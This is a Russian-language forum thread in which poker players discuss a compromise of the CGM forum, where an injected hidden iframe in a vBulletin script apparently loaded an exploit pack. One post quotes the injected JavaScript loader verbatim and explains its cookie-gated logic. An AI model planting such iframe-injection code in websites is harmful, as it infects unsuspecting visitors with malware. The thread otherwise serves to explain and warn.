Опять хакнули форум ЦГМ.

собственно, любой может убедиться разлогинившись.
подгружается стандартный для vbulletin скрипт clientscript/vbulletin_md5.js в который кто-то ловко вставил ифрейм со ссылкой на левый домен в зоне .com - можете посмотреть исходник сами.
возможно, левый код вставили и в другие скрипты, не проверял.

скинь скриншот
я пытался найти через гугл хром свой- не смог.

__________________
God plays against Chuck norris;
God goes all in and Chuck says raise!

выделенный фрагмент.

Чем чревато?

__________________
Не играю на partypoker, bwin и фонбет .

на макскацоффе тоже кстати такой же ифрейм запихнули.

чревато тем, что ифрейм подгружает пак эксплойтов скорее всего. конечно не факт, что они расчитаны именно на твою версию браузера, тут уж как повезет.

как защитится от этого?

__________________
Make Poker Great Again

Не сказал бы что прямо "хакнули", просто это была "бомба" - когда устанавливали форум, была такая строчка кода в скрипте и если вы понимаете в программировании, то увидите, что срабатывает она только при определенных условиях.

__________________
ВНИМАНИЕ!!! Ерунда в подписи.
Когда я ем - я глух и нем, хитер и быстр, и дъявольски умён!

Что за бомба, кто мог заминировать и при каких условиях сработает?

__________________
"I'm a player. I always will be. I can not be anyone else..."

"Бомба" срабатывала, если вы удовлетворяли некоторым условиям, заданным злоумышленником. Их суть не так важна, но вот результат вполне впечатляет: не все пользователи "подрывались", поэтому так долго и пролежала. Кто-то даже и не замечал, а кто-то замечал, но молчал.

Сработать уже она не сможет, т.к. была удалена =) А заминировать мог кто-угодно, если скрипты форума были скачаны () не с официального ресурса. Но даже и на официальном ресурсе производителей форума мог быть "злой дядька", который такую эффективную штуку и сделал, например перед увольнением или для получения выгоды.

__________________
ВНИМАНИЕ!!! Ерунда в подписи.
Когда я ем - я глух и нем, хитер и быстр, и дъявольски умён!

Конкретнее, кто пострадал? А то я может напоролся и не знаю.

__________________
The problem with wanting something is the fear of losing it, or never getting it.

Поддерживаю любопытность, а то "бомбы" , "подрывы", "злые дядьки" ) Лучше горькая правда, чем "вода".

__________________
Без труда не вытащишь и рыбку со стола

И условия какие были интересно бы узнать - может кто-то из форумчан удовлетворял им и не знает до сих пор

че за расклад, какая бомба?? Я думаю надо написать конкретно, а не отписываться.

__________________
Мы - русские, мы все можем! Александр Суворов.

Был такой код в скрипте:
[spoiler="вредный код"]
if (document.cookie.search("vb=555") == -1) {document.write("<if" + "rame src=http://ххх" + "хххх.com/fl/show.php style=display:none></ifra" + "me>"); document.cookie = "vb=555; expires=Sun, 10-Jan-2012 01:00:00 GMT;path=/";}
[/spoiler]
Логика кода:
1) проверяем, установлен ли кукис vb=555
2) если нет, то вписываем в окно фрейм и устанавливаем этот кукис до 10 января 2012 года
3) если кукис установлен, то ничего не делаем

Результат: исполнения
При первом заходе на форум неавторизованным вам вшивается этот фрейм и вы сами того не ведая загружаете страничку хакера, где выполняется Java-апплет (если установлена Java-машина), который запускает посещение другой страницы, содержащей javascript-код, приложением (например у меня вылез запрос на открытие файла, Opera 10.62). Во все последующие посещения форума скрипт вас затрагивать не будет, пока вы не очистите кукисы или не наступит 10 января 2012г., когда скрипт отработает вновь.

Отмечу, что:
1) Java-машина мало у кого установлена и фрейм откроется пустым
2) Скрипт ориентирован на какое-то конкретное приложение
3) файл имел давность начала 2009 года, соответственно можно предположить, что уязвимость какая-то старая и уже давно пофиксена обновлением уязвимой программы
4) не забывайте проверять компьютер на вирусы хотя бы раз в 1 неделю

__________________
ВНИМАНИЕ!!! Ерунда в подписи.
Когда я ем - я глух и нем, хитер и быстр, и дъявольски умён!

Не знаю что это, но очень неприятно!
В трее появляется значок явы, а потом вылетает такая ошибка! При заходе на любую страницу CGM, началось минут 40 назад.
Объясните что это, чем опасно и как лечится..

Изображения

 

__________________
Без труда не вытащишь и рыбку со стола

а у меня в течении часа открывался медиа плеер, и выкидывало на главную страницу, только при входе на цгм и при попытке зайти в какой-нибудь раздел, при этом каспер сильно ругался=(( хз что такое, сейчас зашел все норм.

через ифрейм грузился пак эксплойтов, который использует известные уязвимости браузеров/адоб ридера/вм плеера/явы/чего там еще придумают для загрузки к вам на компьютер связки вирусов.

то, что у вас при открытии сайта с таким ифреймом вылезает медиа плеер или адоб ридер (или любая другая программа) с ошибкой и ругается антивирус, говорит о том, что ваш браузер небезопасен и не стоит ставить эксперименты над сохранностью своих счетов в румах заходя с его помощью на ЦГМ, где за неделю уже 2 раза вставили один и тот же ифрейм (за год это уже минимум третий случай).

вот что мне выдает фаерфокс

тоже самое и гугл хром выдает

__________________
дневник
SHIP IT >><

у меня тоже самое

__________________
Новороссия

+1
Что это за фигня? Я отключил пока это предупреждение.

__________________
"Мы никогда не проигрываем, нам иногда не хватает времени!" (С) Sir Alexander Chapman Ferguson